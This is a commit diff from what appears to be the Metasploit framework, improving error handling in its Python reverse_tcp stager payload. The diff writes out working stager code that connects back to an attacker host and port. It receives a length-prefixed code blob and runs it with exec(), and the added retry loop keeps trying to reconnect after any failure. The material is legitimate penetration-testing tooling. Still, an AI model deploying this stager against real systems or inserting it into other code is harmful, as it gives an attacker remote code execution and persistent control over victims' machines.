Skip to content

Commit bd23797

Browse files
committed
Improved error handling for the python reverse_tcp payload
Handling all kinds of errors Removing 'e' Updating payload cached sizes Updating payload cached sizes 2.0 Adding option to set retry time
1 parent 9c1ae39 commit bd23797

File tree

3 files changed

+19
-10
lines changed

3 files changed

+19
-10
lines changed

lib/msf/core/payload/python/reverse_tcp.rb

Lines changed: 17 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,8 @@ def generate
2323
conf = {
2424
port: datastore['LPORT'],
2525
host: datastore['LHOST'],
26-
retry_count: datastore['ReverseConnectRetries'],
26+
retry_count: datastore['StagerRetryCount'],
27+
retry_wait: datastore['StagerRetryWait'],
2728
}
2829

2930
generate_reverse_tcp(conf)
@@ -44,14 +45,22 @@ def transport_config(opts={})
4445
def generate_reverse_tcp(opts={})
4546
# Set up the socket
4647
cmd = "import socket,struct\n"
47-
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
48-
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
48+
cmd << "import time\n"
49+
cmd << "def connect():\n"
50+
cmd << "\ttry:\n"
51+
cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
52+
cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
4953
cmd << py_send_uuid if include_send_uuid
50-
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
51-
cmd << "d=s.recv(l)\n"
52-
cmd << "while len(d)<l:\n"
53-
cmd << "\td+=s.recv(l-len(d))\n"
54-
cmd << "exec(d,{'s':s})\n"
54+
cmd << "\t\tl=struct.unpack('>I',s.recv(4))[0]\n"
55+
cmd << "\t\td=s.recv(l)\n"
56+
cmd << "\t\twhile len(d)<l:\n"
57+
cmd << "\t\t\td+=s.recv(l-len(d))\n"
58+
cmd << "\t\texec(d,{'s':s})\n"
59+
cmd << "\texcept Exception:\n"
60+
cmd << "\t\t\ttime.sleep(#{opts[:retry_wait]})\n"
61+
cmd << "\t\t\tconnect()\n"
62+
cmd << "connect()\n"
63+
5564

5665
py_create_exec_stub(cmd)
5766
end

modules/payloads/stagers/python/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 362
14+
CachedSize = 502
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Python::ReverseTcp

modules/payloads/stagers/python/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 466
14+
CachedSize = 606
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Python

0 commit comments

Comments
 (0)